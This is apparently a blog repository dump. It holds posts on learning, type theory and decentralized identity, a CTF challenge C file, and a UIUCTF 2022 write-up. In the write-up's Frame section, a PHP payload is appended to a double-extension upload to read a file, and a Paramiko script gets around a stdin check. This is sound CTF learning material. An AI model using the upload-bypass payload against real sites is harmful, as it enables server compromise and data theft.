▟███████████████████▙ ▜███▙ ▟██▙ Uptime: 1 day, 3 hours, 12 mins
▄▄▄▄▖ ▜███▙ ▟███▛ Packages: 1406 (nix-system), 816 (nix-user)
▟███▛ ▜██▛ ▟███▛ Shell: zsh 5.9
▟███▛ ▜▛ ▟███▛ Resolution: 3840x2160, 1080x1920, 1920x1080
▟███████████▛ ▟██████████▙ WM: i3
▜██████████▛ ▟███████████▛ Terminal: alacritty
▟███▛ ▟▙ ▟███▛ CPU: AMD Ryzen 7 3700X (16) @ 3.600GHz
▟███▛ ▟██▙ ▟███▛ GPU: NVIDIA GeForce RTX 3080 Ti
▟███▛ ▜███▙ ▝▀▀▀▀ Memory: 51392MiB / 80352MiB
▜██▛ ▜███▙ ▜██████████████████▛
▜▛ ▟████▙ ▜████████████████▛
▟██████▙ ▜███▙
▟███▛▜███▙ ▜███▙
▟███▛ ▜███▙ ▜███▙
▝▀▀▀ ▀▀▀▀▘ ▀▀▀▘
```
## References
- https://elis.nu/blog/2019/08/encrypted-zfs-mirror-with-mirrored-boot-on-nixos/
- https://blog.lazkani.io/posts/nixos-on-encrypted-zfs/
- https://nixos.wiki/wiki/ZFS

View file

@ -0,0 +1,93 @@
---
title: "Mastery-Based Learning"
date: 2022-07-24
tags: ["education"]
---
A thought I've been brewing probably since undergrad is the idea of
mastery-based education for skill-based practices. Directly inspired by the
language learning apps, I wonder whether we can enhance a traditional spaced
repetition system with a topic graph, where mastery can "spill" throughout the
graph to better model learning. Since I'm never going to have time to actually
build such a system, I thought I'd just jot these ideas down.
### Knowledge Graph
The first piece of this setup would require having an extensive knowledge graph.
Think Wikipedia, where it has a lot of related topics, but rather than just
being linked in an ad-hoc manner, each link has one or more of the following
specific purposes:
- **Dependency.** The linked topic needs some percentage of mastery in order
to best experience the current topic.
- **Spill.** Not really sure what a good term for this would be, but basically
mastery of the current topic would result in some percentage of "spilled"
mastery gain for the linked topic.
The dependency aspect allows people to work backwards, starting from what they
don't know and being able to query what the required context is. They can build
themselves a learning plan based on a topological sorting of those topics and
tackle them individually.
The spill aspect allows people to "skip" learning things they already know, for
a faster onboarding experience. For example, since "the quadratic formula"
requires someone to know "algebra", then if someone masters the quadratic
formula before algebra, it should boost the mastery of algebra too.
### Mastery Level
I think the current way tests are handled are not only stressful, but a horrible
way to measure mastery. Rather than promoting long-term learning, it encourages
the cram-and-forget workflow. I think what the language learning apps taught us
is not only is it good to repeat things when we get it wrong, it's also good to
repeat things when we get it right.
The vision would be something like this:
1. First, the student learns some material. They take a short quiz immediately,
and their mastery is boosted by a small percentage depending on their score,
maybe up to 30%.
2. Then, the student goes off and learns some related material. After a length
of time has passed, they are quizzed on the first topic again. By this time,
their mastery score should fall a bit simply on the basis of "forgetfulness
over time".
3. At the end of the semester, if they have reached required thresholds of
mastery in each required topic, they will pass the class.
Not only does this simplify final grading, it also removes the whole concept of
stress in the middle, since doing badly on one exam doesn't hurt your grade
permanently. On top of that, doing _well_ on a single exam doesn't guarantee
that you know it, and the system models that by not giving you full mastery
after a single test.
But this doesn't necessarily mean that the student must re-take tests on things
they already know. The great thing about the whole "spill" system is that if
they learn topic A first, then topic B that depends on topic A, then topic B can
indirectly keep topic A's mastery afloat.
### Implementation Challenges
Implementation is the toughest part. There's a couple technical hurdles I would
like to complete before attempting such a system, which are:
- A bunch of interactive widgets for allowing users to play around with the
material directly. This is more applicable in math and science curriculums.
- Quiz generation software. There's probably good off-the-shelf components
already, I haven't looked.
Another problem is that I never want to think about dealing with cheating. If
this idea were to be neatly packaged up and deployed into schools, you bet the
first problem teachers are going to have is with cheating. While there are some
stopgaps such as auto-generated quizzes and personalized curriculums, there's
never a guaranteed solution. Instead, fostering a healthy learning attitude
among students is the best way for these systems to be effective.
My final disclaimer is that I'm not an educator. I've TA'd for a functional
programming course in undergrad and helped many peers learn programming concepts
from time to time. Watching people learn is a very interesting process, and
while I don't have time to conduct studies on how this process works, there's
general patterns I picked up on while following this train of thought.

View file

@ -0,0 +1,60 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define MATH_PROBLEMS 10000
int take_test() {
int urand = open("/dev/urandom", O_RDONLY);
if (!urand) return 1;
unsigned char urand_byte;
for (int i=0; i<MATH_PROBLEMS; i++) {
if (read(urand, &urand_byte, 1) != 1) return 1;
int a = urand_byte & 0xf;
int b = urand_byte >> 4;
printf("Question %d: %d * %d = ", i+1, a, b);
int ans;
if (scanf("%d", &ans) != 1) return 1;
if (ans != a * b) return 1;
}
close(urand);
return 0;
}
int check_id() {
printf("Checking your student ID...\n\n");
sleep(1);
struct stat real, given;
if (stat("/proc/1/fd/0", &real)) return 1;
if (fstat(0, &given)) return 1;
if (real.st_dev != given.st_dev) return 1;
if (real.st_ino != given.st_ino) return 1;
return 0;
}
int main() {
setreuid(geteuid(), getuid());
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the MATH 101 final exam.\n");
if (check_id()) {
printf("The proctor kicks you out for pretending to be a student.\n");
return 1;
}
printf("The test begins now. You have three hours.\n\n");
alarm(3 * 60 * 60);
if (take_test()) {
printf("You have failed the test.\n");
return 1;
}
setreuid(getuid(), getuid());
system("cat /home/ctf/flag");
return 0;
}

View file

@ -0,0 +1,203 @@
---
title: "UIUCTF 2022 Writeups"
date: 2022-08-01
tags: ["ctf"]
math: true
---
Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with
462 points. Here are the writeups to the challenges I solved. My full workspace
including partial work on unsolved challenges is published at
[~mzhang/uiuctf-2022].
[~mzhang/uiuctf-2022]: https://git.sr.ht/~mzhang/uiuctf-2022
Thanks to @sampai, @vekt0r, and @# from the MIT osu! server for helping out
with some of the challenges :)
<!--more-->
## Web: Frame - 50 points
> "ornate wooden empty picture frame, on a teal wall"
>
> We made it easy to add a frame to your digital art! https://frame-web.chal.uiuc.tf/
>
> [handout.tar.gz](frame.tar.gz)
This challenge prompted us to upload an image, and then it would display the
image inside of a frame. Notably, this frame was done client-side, which means
the original image was not post-processed in any way. If we look at the code
that checks to make sure you uploaded a valid image:
```php
$allowed_extensions = array(".jpg", ".jpeg", ".png", ".gif");
$filename = $_FILES["fileToUpload"]["name"];
$tmpname = $_FILES["fileToUpload"]["tmp_name"];
$target_file = "uploads/" . bin2hex(random_bytes(8)) . "-" .basename($filename);
$has_extension = false;
foreach ($allowed_extensions as $extension) {
if (strpos(strtolower($filename), $extension) !== false) {
$has_extension = true;
}
}
```
The flaw here is that the file extension is only checked for existence, not that
it actually occurs at the end of the file. As a result, the web server will
guess the kind of data in the file based on the final extension. We can simply
upload a file named `hello.jpg.php` and it will pass this.
The Dockerfile in the handout helpfully tells us the location of the flag, so
here is the file I uploaded:
```
cp real_image.jpg hello.jpg.php
echo '<?php echo file_get_contents("/flag"); ?>' >> hello.jpg.php
```
Uploading this file reveals the flag.
## Web: AR Pwny - 50 points
> "a green cybernetic horse grazing in the sun"
>
> Welcome to the meataverse! http://ar-pwny-web.chal.uiuc.tf/
>
> [pwny.glb](pwny.glb)
A glb file is a glTK texture. We can open this in a program such as [Blender] in
order to understand it. Use **File > Import > glb** to open the file, then hide
all of the objects except the two flag halves.
[blender]: https://www.blender.org
![Hiding blender objects](../../../assets/ctf/blender-objects.png)
This reveals two QR codes that can be combined into the flag.
## Pwn: easy math 1 - 88 points
> Take a break from exploiting binaries, and solve a few\* simple math problems!
>
> `$ ssh ctf@easy-math.chal.uiuc.tf` password is `ctf`
>
> [easy-math.c](easy-math.c)
This is really just a simple programming exercise. Looking at the source code,
the annoying part is that it checks that your standard input is the same as the
standard input of proc 1.
This isn't too bad to get around, since we can just puppet the pseudoterminal of
the SSH connection entirely using something like Paramiko:
```python
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect("easy-math.chal.uiuc.tf", 22, "ctf", "ctf")
ch = ssh.invoke_shell()
print(ch.recv(1024))
```
Looks like there was a more sneaky way of solving this challenge, which is what
easy-math-2 went into, but I didn't spend enough time looking at this in order
to figure it out.
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/pwn/easy-math-1/solve.py)
## Crypto: Military Grade Encryption - 50 points
> I came across a new website that claims to keep my flag safe with
> military-grade encryption. Clearly, this is going to keep my flag safe from
> anyone who may want it. https://military-grade-encryption-web.chal.uiuc.tf/
I'm not really sure what the clever way to solve this was, but all the numbers
were small enough to be brute forced, so that's what I did. Simply reverse the
process used and look for a string beginning with `uiuctf{`.
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/military-grade-encryption/solve.py)
## Crypto: asr - 85 points
> Oh no I dropped my d. Good thing I'm not telling you my n.
As this challenge implies, the problem comes from reversing the typical
challenge of RSA. This time, rather than starting with a modulus and trying to
discover the private exponent, we are given the private exponent, and trying to
find the modulus.
As a reminder, once we find $N$, we can simply evaluate $c^d \mod N$ to
determine the final message.
First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1
\mod \phi(N)$. Translating this to plain algebra, this means $ed - 1 = k\phi(N)$
for some positive integer $k$. This tells us that $ed - 1$ must divide
$\phi(N)$.
We used an [external factoring service] to factor $ed - 1$. Using the
`gen_prime` method given to us, we are able to validate that our factorization
ended up being what was expected: exactly 16 64-bit primes, and a handful of
smaller primes. The only thing left is organizing the 16 primes into two groups
of 8.
[external factoring service]: https://www.alpertron.com.ar/ECM.HTM
Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easily
iterable within a matter of seconds. After picking 8 primes, we simply run
through the same process as `gen_prime` in order to generate our $p$ and $q$:
```python
for perm in tqdm(perms):
perm = set(list(perm))
p = prod(perm)
q = prod(bigprimes - perm)
for i in range(7):
if isPrime(p + 1): break
p *= small_primes[i]
for i in range(7):
if isPrime(q + 1): break
q *= small_primes[i]
p = p + 1
q = q + 1
```
All that's left is to run $c^d \mod N$ and find strings that begin with
`uiuctf{` to determine which of these organizations of prime factors is the
correct one.
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/asr/solve2.py)
## Wringing Rings - 139 points
> Everyone says we should use finite fields, but I loved sharing secrets this
> way so much that I put a ring on it!
>
> `$ nc ring.chal.uiuc.tf 1337`
This challenge employs a variation of [Shamir's Secret Sharing algorithm][SSS].
The crux of the algorithm involves encoding a shared secret into the
coefficients of a polynomial of degree $k$. Note that given $k + 1$ unique
points on this polynomial, the entire polynomial can be recovered. If $k$ is 6,
and we generate 12 unique points to split between 12 people, then any individual
must find 6 others in order to recover the secret.
[SSS]: https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
The problem with the implementation in question is that it does not operate over
a finite field, as required by the original algorithm. This leaks information
about the secret, specifically with respect to what numbers it divides, since we
know that all coefficients must be integers.
This means that even with the absence of one of the required points, we can
still reasonably recover the curve with the added information that all
coefficients are less than $500,000$.
I simply threw all of the constraints we are given into the z3 solver, and
within milliseconds the answer was given. After that it was just a matter of
hooking it up to the challenge server and waiting for the flag.
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/wringing-rings/solve.py)

View file

@ -0,0 +1,186 @@
---
title: "Higher Inductive Types"
date: 2022-09-20
tags: ["type-theory"]
toc: true
math: true
draft: true
---
**Higher inductive types (HIT)** are central to developing cubical type theory.
What this article will try to do is develop an approach to understanding higher
inductive types based on my struggles to learn the topic.
<!--more-->
## Ordinary inductive types
So first off, what is an inductive type? These are a kind of data structure
that's commonly used in _functional programming_. For example, consider the
definition of natural numbers (`Nat`):
```agda
data Nat : Set where
zero : Nat
suc : Nat → Nat
```
This defines all `Nat`s as either zero, or one more than another `Nat`. For
example, here's the first few natural numbers and their corresponding
representation using this data structure:
```txt
0 zero
1 suc zero
2 suc (suc zero)
3 suc (suc (suc zero))
4 suc (suc (suc (suc zero)))
5 suc (suc (suc (suc (suc zero))))
```
Why is this representation useful? Well, if you remember **proof by induction**
from maybe high school geometry, you'll recall that we can prove things about
all natural numbers by simply proving that it's true for the _base case_ 0, and
then proving that it's true for any _inductive case_ $n$, given that the
previous case $n - 1$ is true.
This kind of definition of natural numbers makes this induction structure much
more clear. For example, look at the definition of a tree:
```agda
data Tree (A : Set) : Set where
leaf : A → Tree A
left : Tree A → Tree A
right : Tree A → Tree A
```
We can do induction on trees by simply proving it's true for (1) the base case,
(2) the left case, and (3) the right case. In fact, all inductive data
structures have this kind of induction principle. So say you wanted to prove
that $1 + 2 + 3 + \cdots + n = \frac{n\cdot(n+1)}{2}$ for all $n \in
\mathbb{N}$, then you could say:
<details>
<summary>(click here for boring requisites)</summary>
```agda
open import Relation.Binary.PropositionalEquality using (_≡_; refl; cong; sym; module ≡-Reasoning)
open ≡-Reasoning using (begin_; _≡⟨_⟩_; _≡⟨⟩_; step-≡; _∎)
open import Data.Product using (_×_)
open import Data.Nat using (; zero; suc; _+_; _*_)
open import Data.Nat.DivMod using (_/_; 0/n≡0; n/n≡1; m*n/n≡m)
open import Data.Nat.Properties using (+-assoc; *-identityˡ; *-comm; *-distribʳ-+; +-comm)
sum-to-n :
sum-to-n zero = zero
sum-to-n (suc x) = (suc x) + (sum-to-n x)
distrib-/ : ∀ (a b c : ) → a / c + b / c ≡ (a + b) / c
distrib-/ zero b c =
begin
zero / c + b / c
≡⟨ cong (_+ b / c) (0/n≡0 c) ⟩
b / c
≡⟨ cong (_/ c) refl ⟩
(zero + b) / c
distrib-/ (suc a) b c =
begin
(1 + a) / c + b / c
≡⟨ cong (_+ b / c) (sym (distrib-/ 1 a c)) ⟩
1 / c + a / c + b / c
≡⟨ +-assoc (1 / c) (a / c) (b / c) ⟩
1 / c + (a / c + b / c)
≡⟨ cong (1 / c +_) (distrib-/ a b c) ⟩
1 / c + (a + b) / c
≡⟨ distrib-/ 1 (a + b) c ⟩
(suc a + b) / c
```
</details>
```agda
-- Here's the proposition we want to prove:
our-prop : ∀ (n : ) → sum-to-n n ≡ n * (n + 1) / 2
-- How do we prove this?
-- Well, we know it's true for zero:
base-case : sum-to-n 0 ≡ 0 * (0 + 1) / 2
base-case = refl
-- The next part is proving that it's true for any n + 1, given that it's true
-- for the previous case n:
inductive-case : ∀ {n : }
→ (inductive-hypothesis : sum-to-n n ≡ n * (n + 1) / 2)
→ sum-to-n (suc n) ≡ (suc n) * (suc n + 1) / 2
```
<details>
<summary>Inductive case proof, expand if you're interested</summary>
```agda
inductive-case {n} p =
begin
sum-to-n (suc n)
≡⟨⟩ -- Expanding definition of sum-to-n
suc n + sum-to-n n
≡⟨ cong (suc n +_) p ⟩ -- Substituting the previous case
suc n + n * (n + 1) / 2
≡⟨ cong (_+ n * (n + 1) / 2) (sym (m*n/n≡m (suc n) 2)) ⟩
(suc n * 2) / 2 + (n * (n + 1)) / 2
≡⟨ distrib-/ (suc n * 2) (n * (n + 1)) 2 ⟩
(suc n * 2 + n * (n + 1)) / 2
≡⟨ cong (_/ 2) (cong (_+ n * (n + 1)) (*-comm (suc n) 2)) ⟩
(2 * suc n + n * (n + 1)) / 2
≡⟨ cong (_/ 2) (cong (2 * suc n +_) (cong (n *_) (+-comm n 1))) ⟩
(2 * suc n + n * suc n) / 2
≡⟨ cong (_/ 2) (sym (*-distribʳ-+ (suc n) 2 n)) ⟩
(1 + suc n) * suc n / 2
≡⟨ cong (_/ 2) (cong (_* suc n) (+-comm 1 (suc n))) ⟩
(suc n + 1) * suc n / 2
≡⟨ cong (_/ 2) (*-comm (suc n + 1) (suc n)) ⟩
(suc n) * (suc n + 1) / 2
```
</details>
So now that we have both the base and inductive cases, let's combine it using
this:
```agda
-- Given any natural number property (p : → Set), if...
any-nat-prop : (p : → Set)
-- ...it's true for the base case and...
→ p 0
-- ...it's true for the inductive case...
→ (∀ {n : } (a : p n) → p (suc n))
-- ...then the property is true for all naturals.
→ (∀ (n : ) → p n)
any-nat-prop p base _ zero = base
any-nat-prop p base ind (suc n) = ind (any-nat-prop p base ind n)
```
Then:
```
our-prop = any-nat-prop
(λ n → sum-to-n n ≡ n * (n + 1) / 2)
base-case inductive-case
```
Using Agda, we can see that this type-checks correctly.
**TODO:** Ensure totality
## Higher inductive types
Moving on, we want to know what _higher_ inductive types brings to the table. To
illustrate its effect, let's consider the following scenario: suppose you have
#### References
- [nLab](https://ncatlab.org/nlab/show/higher+inductive+type)
- Section 2.5 of [Favonia's thesis](https://favonia.org/files/thesis.pdf)
- [Quotient Types for Programmers](https://www.hedonisticlearning.com/posts/quotient-types-for-programmers.html)

View file

@ -0,0 +1,54 @@
---
title: "Dependent Types from First Principles"
slug: "dependent-types"
date: 2022-10-27
tags: ["type-theory"]
toc: true
math: true
draft: true
---
It's frequently said that computers are just made of 1s and 0s. As programmers,
we induce structure into this sea of 1s and 0s to build a rich collection of
abstractions that can produce the entire software ecosystem as we know it. But
how does this work? Let's start from the beginning.
### Bits and Bytes
On the lowest level, your computer is actually a tiny network of many
components, but let's pretend for a second it's just a giant list of **bits**.
Something like this.
```
011101110110100001111001001000000110010001101001011001000010000001111001011011110111010100100000011001000110010101100011011011110110010001100101001000000111010001101000011010010111001100100000011011000110111101101100
```
This is often a mess, so we like to chunk these into groups of 8, called an
_octet_, and then represent it as a 2-digit base 16 number. For example, the
string above would look something like this:
```
77 68 79 20 64 69 64 20 79 6f 75 20 64 65 63 6f 64 65 20 74 68 69 73 20 6c 6f 6c
```
We've just turned our series of 1s and 0s into some numbers and letters. Great.
Now what? How do we get programs, images, and video from this? Well, we have to
induce some structure.
### Building Blocks
Suppose you had a pile of sugar and a pile of salt. They both look pretty
similar, but if you were to put them into the same pile, cooking would be a
disaster. You would not want to use salt where you wanted to use sugar, or vice
versa.
Same thing in computing. We have developed byte-level representations for
several basic kinds of data, but without distinction, it's hard to tell them
apart. So programmers developed **types**, ways of categorizing data so when
we're just reading a series of 0s and 1s, we would know how to interpret it.
| Raw | Interpreted as number | Interpreted as text |
| ---------------- | --------------------- | ------------------- |
| `68 65 6c 6c 6f` | 448,378,203,247 | `hello` |
So now we know how to

View file

@ -0,0 +1,65 @@
---
title: "Decentralized Identity, a Middle Ground"
date: 2022-10-30T03:04:51-05:00
logseq: true
tags:
- web
---
- With Twitter management changing, I'm starting to think about the small web again. The small web is a concept where you use the Internet to interact with people directly, rather than operating through the medium of megacorps. When we think about big monoliths like Twitter and Facebook, at the very heart of it is some kind of algorithm picking what it is we see. And with the power to control that gives us advertising and mass manipulation.
- For the rest of this blog post, I'll be talking about _microblogging_ specifically: short posts of several sentences, along with a few media attachments, of which Twitter is one of the largest monolithic implementations. But the things I talk about are also applicable to other applications, including long-form blogging (Medium), image sharing (Instagram, Snapchat), video sharing (YouTube), chat (Messenger)
- There's several projects out there that are already trying out other extremes. I'll cover two big types here:
- **Federation.** This style of application development is inspired by email. The idea is that you develop a common _protocol_ for apps living on different servers to talk to each other, so you can have people choose their own servers rather than trusting everything to megacorps like Google or Facebook. One notable example of this in the microblogging realm is Mastodon / ActivityPub.
- **Peer-to-peer.** This style of application development is rarer, but can be seen commonly in things like torrents. The idea is that _each_ client holds all application info, and interacts with everything else as if they were all clients. One notable example of this in the microblogging realm is Scuttlebutt.
- I'll go into more detail about these two styles later, but they both come with their advantages and drawbacks. However, I don't think any of the solutions that exist are sustainable for longer periods of time.
- ## Feature Evaluation
- One thing I've been doing recently when I think about software applications and system design is break things down into their **features**. This makes it a lot easier to compare applications or services to each other than a vague statement like "I've had a good/bad experience with this". So let's come up with some features of a good microblogging platform:
- Application design
- **Verifiability:** It should be easy to verify if I did indeed ever say something.
- **Freedom:** Within reason, I should not be limited in what I say or do on the platform.
- **Universality:** I should be able to communicate to anyone from anywhere (any device, any location).
- System design
- **Availability:** I want to be confident that the system will be around for many years.
- **Connectability:** I should be able to connect with people I don't already know easily.
- **Moderation:** I should be able to choose to not interact with a certain subset of users, and this process should not be painful.
- Scaling
- **User scaling:** Supporting more users should incur a relatively linear or sublinear cost, and should certainly not lead to resource consumption blowup.
- **Temporal scaling:** The system should support being run for an arbitrarily long amount of time.
- Development
- **Malleability:** How easy is it to introduce / roll out new versions and features? This may be important for updating cryptographic algorithms.
- **Version drift:** Is it possible to support users who are on different version of the service?
- Some features are certainly more important than others, and may have different importance to different people. But it gives me a base line to evaluate services, and lets me decide which features I consider to be critical.
- These are obviously not the only features, but I like to list them in this form because while some
alternative apps may tout certain features, it's useless if it falls short on something more important.
- ### Evaluation
- Now that we know what we're looking for, let's evaluate some existing services.
- **Mastodon**
- Satisfies:
- **Connectability:** It's easy to find other users based on their user ID, which looks like an email so it's easy to share.
- Doesn't satisfy:
- **Freedom:** While certain instances may be specialized (i.e hobby-focused), it's certainly not great when you are locked out of communicating with someone on another instance because the admins of your respective instances have beef with each other.
- **Availability:** For some reason or another, I've seen Mastodon admins give up on their instances. Running an instance is very costly in terms of money and time, so it's not surprising that if an instance owner decides it's simply no longer worth it, the users are simply hosed. While there are some options for migration like redirection, it's useless if the original server doesn't stay online.
- **Scuttlebutt**
- Satisfies:
- **Freedom:** This is the maximally free solution: your client is solely responsible for receiving and filtering all messages.
- Doesn't satisfy:
- **Connectability:** Connecting with someone must take place over an existing channel (i.e either meeting in meatspace or sharing a pub). If I don't have my Scuttlebutt client with me, then it's not possible to get updates.
- **Universality:** Since user identity is heavily tied to a single client, having multiple clients for a single user is not a well-supported workflow.
- The Matrix people have also developed [Cerulean], a playground for testing the idea of _relative reputation_, where instead of doing moderation of all users you can assign a web-of-trust-style reputation to people you follow. However, this may lead to further filter-bubbling, the implications of which I'm honestly not sure how to tackle.
[Cerulean]: https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button
- ## Decentralized Identity
- My view for an ideal microblogging platform would be a federated server-client architecture, but where a user identity isn't tied to the server the same way a user is tied to their Mastodon instance. Essentially, you want your account to be promiscuous between several servers.
- This way, you gain all of the benefits of having a server-client architecture (easy to do multiple clients), while not relying on the server itself or its admins to stay around for a long time.
- The problem is, designing such a system securely is difficult. Ultimately, what I'm proposing is:
- A user identity model based on an asymmetric-key model. Users generate their own key locally and provide it to instances.
- Users should then have _client_ keys, which are independent of the user keys. These are signed by the user key to indicate that they belong to the same user.
- When a user wants to switch servers, they can begin requesting a checkout of their data from the server. The data can be signed by the server as well to provide an indicator that the client isn't trying to forge old history.
- One problem is if a server wants to deny a user from switching servers; they may try to keep the data hostage. One solution is just to scrape all publicly obtainable data, the other is to hope that this is socially discouraged by just having users avoid servers that engage in user-hostile actions.
- Users may also opt to replicate their identity entirely between two servers. This just means that this synchronization process is just happening incrementally or periodically rather than just at switch-time.
- This still has a number of open problems:
- **Key revocation.** Obviously, anything involving cryptographic keys requires a revocation protocol in the event that the keys are compromised. I'm not too sure of a good way of doing this that doesn't involve an infinitely growing append-only list of revocations on all of the people who have
- When I have some free time, I may take a crack at a proof-of-concept implementation of a system like this.
- ### Further applications
- Since this scheme only really targets the identity layer with (theoretically) asymptotically constant change required for other parts of the software, this should be able to be extended to things other than just microblogging. I'm not sure about the level of success this may have for things like sharing large data files such as video (maybe mix in something like IPFS?), but there is certainly room for exploration.

View file

@ -0,0 +1,38 @@
---
title: "Rust's Impure Path"
date: 2022-10-30T12:47:41-05:00
languages: ["rust"]
tags: ["rust"]
---
I work on [garbage], a project that touches the filesystem a lot. Because of
this, I'd really like to control when and where these filesystem accesses
happen.
[garbage]: https://git.sr.ht/~mzhang/garbage
The Rust standard library has a `fs` module, which I expect to _exclusively_
contain filesystem access primitives. But actually a lot of the functionality
also gets leaked into `std::path::Path`.
In my ideal world, `Path` only deals with the data in a path, not its
interaction with the filesystem. So it should never be able to check whether or
not a path [exists], for example, or if a path [is a symlink][is_symlink]. Those
should be delegated to something within `fs`.
[exists]: https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.exists
[is_symlink]: https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.is_symlink
In addition, many of these functions automatically resolve symlinks, without
built-in ways of achieving the same functionality without resolving symlinks, so
I ended up having to fill those in myself. For example, I really just expect
[`canonicalize`] to be an in-memory manipulation of path components.
[`canonicalize`]: https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.canonicalize
Honestly, I've got to give it to Python's [pathlib], which solves the problems I
noted above. It splits the path API into `Path` and `PurePath`, the latter of
which does not make any IO accesses. It also provides non-symlink-resolving and
symlink-resolving variants of converting to absolute paths.
[pathlib]: https://docs.python.org/3/library/pathlib.html

View file

@ -0,0 +1,308 @@
---
title: "Inductive Types"
date: 2023-03-26
tags: ["type-theory"]
math: true
draft: true
toc: true
language_switcher_languages: ["ocaml", "python"]
---
There's a feature common to many functional languages, the ability to have
algebraic data types. It might look something like this:
{{< language-switcher >}}
```ocaml
type bool =
| True
| False
```
For those who are unfamiliar with the syntax, I'm defining a type called `bool`
that has two _constructors_, or ways to create this type. The constructors are
`True` and `False`. This means:
1. Any time I use the value `True`, it's understood to have type `bool`.
2. Any time I use the value `False`, it's understood to have type `bool`.
3. In addition, there are _no_ other ways to create values of `bool` other than combining `True` and `False` constructors.
---
```python
from typing import Literal
MyBool = Literal[True] | Literal[False]
```
{{</ language-switcher >}}
> **Note:** I'm using an experimental language switcher. It's implemented in
> pure CSS using a feature called the [`:has` pseudo-class][has]. As of writing,
> all major browsers _except_ Firefox has it implemented and enabled by default.
> For Firefox there does exist a feature flag in about:config, but your mileage
> may vary.
---
Many languages have this feature, under different names. Tagged unions, variant
types, enumerations, but they all reflect a basic idea: a type with a limited
set of variants.
Now, in type theory, one of the interesting things to know about a type is its
_cardinality_. For example, the type `Boolean` is defined to have cardinality 2.
That's because there's only one constructor, so if at any point you have some
unknown value of type `Boolean`, you know it can only take one of two values.
<details>
<summary>Note about Booleans</summary>
There's actually nothing special about boolean itself. I could just as easily
define a new type, like this:
{{< language-switcher >}}
```ocaml
type WeirdType =
| Foo
| Bar
```
---
```python
from typing import Literal
WeirdType = Literal['foo'] | Literal['bar']
```
{{</ language-switcher >}}
Because this type can only have two values, it's _semantically_ equivalent to
the `Boolean` type. I could use it anywhere I would typically use `Boolean`.
I would have to define my own operators such as AND and OR separately, but
those aren't properties of the `Boolean` type itself, they are properties of
the Boolean algebra, which has several [algebraic properties][1] such as
associativity, commutativity, distributivity, and several others. Think of it
as a sort of _interface_, where if you can implement that interface, your type
qualifies as a Boolean algebra!
[1]: https://en.wikipedia.org/wiki/Boolean_algebra_(structure)#Definition
</details>
You can make any _finite_ type like this: just create an algebraic data type
with unit constructors, and the result is a type with a finite cardinality. If I
wanted to make a unit type for example:
{{< language-switcher >}}
```ocaml
type unit =
| Unit
```
---
```python
from typing import Literal
Unit = Literal[None]
```
{{</ language-switcher >}}
There's only one way to ever construct something of this type, so the
cardinality of this type would be 1.
## Doing things with types
Creating types and making values of those data types is just the first part
though. It would be completely uninteresting if all we could do is create types.
So, the way we typically use these types is through _pattern matching_ (also
called structural matching in some languages).
Let's see an example. Suppose I have a type with three values, defined like
this:
{{< language-switcher >}}
```ocaml
type direction =
| Left
| Middle
| Right
```
---
```python
from typing import Literal
Direction = Literal['left'] | Literal['middle'] | Literal['right']
```
{{</ language-switcher >}}
If I was given a value with a type of direction, but I wanted to do different
things depending on exactly which direction it was, I could use _pattern
matching_ like this:
{{< language-switcher >}}
```ocaml
let do_something_with (d : direction) =
match d with
| Left -> do_this_if_left
| Middle -> do_this_if_middle
| Right -> do_this_if_right
```
---
```python
def do_something_with(d : Direction) -> str:
match inp:
case 'left': return do_this_if_left
case 'middle': return do_this_if_middle
case 'right': return do_this_if_right
case _: assert_never(inp)
```
**Note:** the `assert_never` is a static check for exhaustiveness. If we missed
a single one of the cases, a static type checker like [pyright] could catch it
and tell us which of the remaining cases there are.
[pyright]: https://github.com/microsoft/pyright
{{</ language-switcher >}}
This gives me a way to discriminate between the different variants of
`direction`.
> Most languages have a built-in construct for discriminating between values of
> the `Boolean` type, called if-else. What would if-else look like if you wrote
> it as a function in this pattern-matching form?
## Constructing larger types
Finite-cardinality types like the ones we looked at just now are nice, but
they're not super interesting. If you had a programming language with nothing
but those, it would be very painful to write in! This is where _type
constructors_ come in.
When I say type constructor, I mean a type that can take types and build other
types out of them. There's several ways this can be done, but the one I want to
discuss today is called _inductive_ types.
> If you don't know what induction is, the [Wikipedia article][2] on it is a
> great place to start!
>
> [2]: https://en.wikipedia.org/wiki/Mathematical_induction
The general idea is that we can build types using either base cases (variants
that don't contain themselves as a type), or inductive cases (variants that _do_
contain themselves as a type).
You can see an example of this here:
{{< language-switcher >}}
```ocaml
type nat =
| Suc of nat
| Zero
```
{{</ language-switcher >}}
These are the natural numbers, which are defined inductively. Each number is
just represented by a data type that wraps 0 that number of times. So 3 would be
`Suc (Suc (Suc Zero))`.
At this point you can probably see why these have _infinite_ cardinality: with
the Suc case, you can keep wrapping nats as many times as you want!
One key observation here is that although the _cardinality_ of the entire type is
infinite, it only uses _two_ constructors to build it. This also means that if
we want to talk about writing any functions on `nat`, we just have to supply 2
cases instead of an infinite number of cases:
```ocaml
let rec is_even = fun (n : nat) ->
match n with
| Zero -> true
| Suc n1 -> not (is_even n1)
```
<details>
<summary>Try it for yourself</summary>
If you've got an OCaml interpreter handy, try a couple values for yourself and
convince yourself that this accurately represents the naturals and an even
testing function:
```ocaml
utop # is_even Zero;;
- : bool = true
utop # is_even (Suc Zero);;
- : bool = false
```
This is a good way of making sure the functions you write make sense!
</details>
## Induction principle
Let's express this in the language of mathematical induction. If I have any
natural number:
- If the natural number is the base case of zero, then the `is_even` relation
automatically evaluates to true.
- If the natural number is a successor, invert the induction hypothesis (which is
what `is_even` evaluates to for the previous step, a.k.a whether or not the
previous natural number is even), since every even number is succeeded by
an odd number and vice versa.
Once these rules are followed, by induction we know that `is_even` can run on
any natural number ever. In code, this looks like:
```ocaml
let is_even
